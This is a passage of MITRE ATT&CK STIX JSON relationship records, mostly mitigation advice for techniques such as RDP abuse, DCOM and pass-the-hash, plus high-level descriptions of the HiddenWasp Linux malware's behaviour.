"relationship--11767ed3-e938-4d0f-97dd-2a190e55f8db", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:41:54.141Z", + "modified": "2019-06-24T13:41:54.141Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "type": "relationship", + "created": "2019-06-24T13:44:34.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d373eebb-b578-4b59-9de1-2946bf837d96", + "modified": "2019-07-17T21:07:56.561Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Application isolation will limit what other processes and system features the exploited target can access.", + "type": "relationship", + "created": "2019-06-24T13:44:34.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c8fdb59-a28f-4f8f-a788-9e3e8928c6d5", + "modified": "2019-07-17T21:07:56.570Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system.", + "type": "relationship", + "created": "2019-06-24T13:44:34.838Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d50a045-d85d-481f-ac7d-672065f1e348", + "modified": "2019-07-17T21:07:56.567Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.", + "type": "relationship", + "created": "2019-06-24T13:44:34.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b726298-74dc-4f8a-b58d-f623bc645124", + "modified": "2019-07-17T21:07:56.565Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block .scr files from being executed from non-standard locations.", + "type": "relationship", + "id": "relationship--07e8c7b6-d959-4c29-99bf-96d8b434f27f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:45:01.941Z", + "modified": "2019-06-24T13:45:01.941Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use Group Policy to disable screensavers if they are unnecessary.", + "type": "relationship", + "id": "relationship--fdc5db56-5eb8-45e5-8116-934f8945961f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:45:01.993Z", + "modified": "2019-06-24T13:45:01.993Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.", + "type": "relationship", + "created": "2019-06-24T13:46:11.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d1c88d6-f390-4e05-ba1c-c6ea59f5fe22", + "external_references": [ + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. 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Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "modified": "2019-07-25T19:00:50.597Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses port 61061 to communicate with the C2 server.", + "type": "relationship", + "created": "2019-06-24T13:59:46.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97f3d72d-f697-43b9-a597-9accf60121a2", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.294Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) downloads a tar compressed archive from a download server to the system.", + "type": "relationship", + "created": "2019-06-24T13:59:46.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bf66a7c4-7d72-4769-a96a-83d3363fa7a9", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.298Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) adds itself to the LD_PRELOAD path and sets a series of environment variables.", + "type": "relationship", + "created": "2019-06-24T13:59:46.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e54913ce-ab54-42d6-96a2-65a4eb3295cb", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.331Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a rootkit to hook and implement functions on the system.", + "type": "relationship", + "created": "2019-06-24T14:05:00.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a8e30e6-c226-4739-87de-bd98c104d211", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.357Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID} associated with the process-wide security of individual COM applications.\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security.", + "type": "relationship", + "id": "relationship--9fab5f0b-d10e-45e3-ab0f-56cadb7ccae9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T14:19:22.426Z", + "modified": "2019-06-24T14:19:22.426Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enable Windows firewall, which prevents DCOM instantiation by default.", + "type": "relationship", + "id": "relationship--47257f80-df2c-4090-9c2b-6ef23eccdbf3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T14:19:22.440Z", + "modified": "2019-06-24T14:19:22.440Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure all COM alerts and Protected View are enabled.", + "type": "relationship", + "id": "relationship--e9c5a8f9-571e-4c08-88bb-6baca6dad6ea", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T14:19:22.453Z", + "modified": "2019-06-24T14:19:22.453Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider disabling DCOM through Dcomcnfg.exe.", + "type": "relationship", + "id": "relationship--055bd398-635f-45e2-94d2-711af316bed7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T14:19:22.455Z", + "modified": "2019-06-24T14:19:22.455Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.", + "type": "relationship", + "created": "2019-06-24T14:20:50.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--603d13cd-f6f7-4321-99db-3d3326878de4", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.368Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict write access to logon scripts to specific administrators.", + "type": "relationship", + "id": "relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T14:22:08.049Z", + "modified": "2019-06-24T14:22:08.049Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.", + "type": "relationship", + "created": "2019-06-24T14:27:52.161Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4af1337b-478f-43e1-b0b7-07ab53c22a64", + "external_references": [ + { + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" + } + ], + "modified": "2019-07-18T16:56:40.304Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", + "type": "relationship", + "created": "2019-06-24T14:27:52.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--159d35c3-673d-4c42-be26-d53ab11e277e", + "modified": "2019-07-18T16:56:40.308Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that built-in and created local administrator accounts have complex, unique passwords.", + "type": "relationship", + "created": "2019-06-24T14:27:52.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14fa80e7-9e59-403c-8e1b-ea3145438b48", + "modified": "2019-07-18T16:56:40.337Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.", + "type": "relationship", + "created": "2019-06-24T15:49:23.522Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72acaaab-448e-412e-9967-c119c350cdc3", + "external_references": [ + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + } + ], + "modified": "2019-07-18T16:59:04.029Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that local administrator accounts have complex, unique passwords.", + "type": "relationship", + "created": "2019-06-24T15:49:23.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44dd2863-7841-43e3-960f-8f6d46709156", + "modified": "2019-07-18T16:59:04.031Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", + "type": "relationship", + "created": "2019-06-24T15:55:14.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48925883-c396-49a2-8b1b-2d7220959e2c", + "modified": "2019-07-18T17:46:12.350Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.", + "type": "relationship", + "created": "2019-06-24T16:00:49.986Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65e07f9e-91cd-4b91-8707-83b4ffdb29bd", + "external_references": [ + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ], + "modified": "2019-07-18T17:46:12.353Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.", + "type": "relationship", + "created": "2019-06-24T16:00:49.996Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bff585a5-6a32-4361-a72c-dfb1f6e6fe3d", + "modified": "2019-07-18T17:46:12.385Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication for remote logins.", + "type": "relationship", + "created": "2019-06-24T16:00:50.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3eb59d14-a07f-493a-8bee-5877c6c1d478", + "external_references": [ + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + } + ], + "modified": "2019-07-18T17:46:12.382Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable the RDP service if it is unnecessary.", + "type": "relationship", + "created": "2019-06-24T16:00:50.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d02e0a35-ab09-49a9-958f-d71fbb1e3e6f", + "modified": "2019-07-18T17:46:12.386Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups", + "type": "relationship", + "created": "2019-06-24T16:00:50.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a5b4837-54e4-46e0-80e9-03c39919aec4", + "modified": "2019-07-18T17:46:12.387Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication on remote service logons where possible.", + "type": "relationship", + "created": "2019-06-24T16:04:41.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a70d8d81-4d88-404c-81f3-c3ddd57d6b69", + "modified": "2019-07-18T17:50:43.822Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable Autorun if it is unnecessary. Disallow or restrict removable media at an organizational policy level if it is not required for business operations.", + "type": "relationship", + "created": "2019-06-24T16:07:33.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2", + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "modified": "2019-07-18T17:52:28.573Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication wherever possible.", + "type": "relationship", + "created": "2019-06-24T16:21:04.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c", + "modified": "2019-07-18T16:42:21.757Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "type": "relationship", + "created": "2019-06-24T16:21:04.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42", + "modified": "2019-07-18T16:42:21.759Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.", + "type": "relationship", + "created": "2019-06-24T16:27:16.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2748683-077b-4e91-9225-6b29245fdafc", + "external_references": [ + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ], + "modified": "2019-07-18T17:03:40.649Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Upgrade to Windows 8 or later and enable secure boot.", + "type": "relationship", + "created": "2019-06-24T17:11:15.854Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f9af9c5-7862-47f9-9ee7-6a15fbe8c745", + "modified": "2019-07-16T19:09:25.435Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Audit and/or block unnecessary command-line interpreters by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-06-24T18:00:41.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87fd0088-41da-47ac-bd69-a8ac151a0d39", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-16T20:46:59.483Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper process, Registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "type": "relationship", + "created": "2019-06-24T18:14:59.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d6f47e1-d48a-4efc-b4fb-56a23e6b5d8b", + "modified": "2019-07-17T19:02:55.302Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + 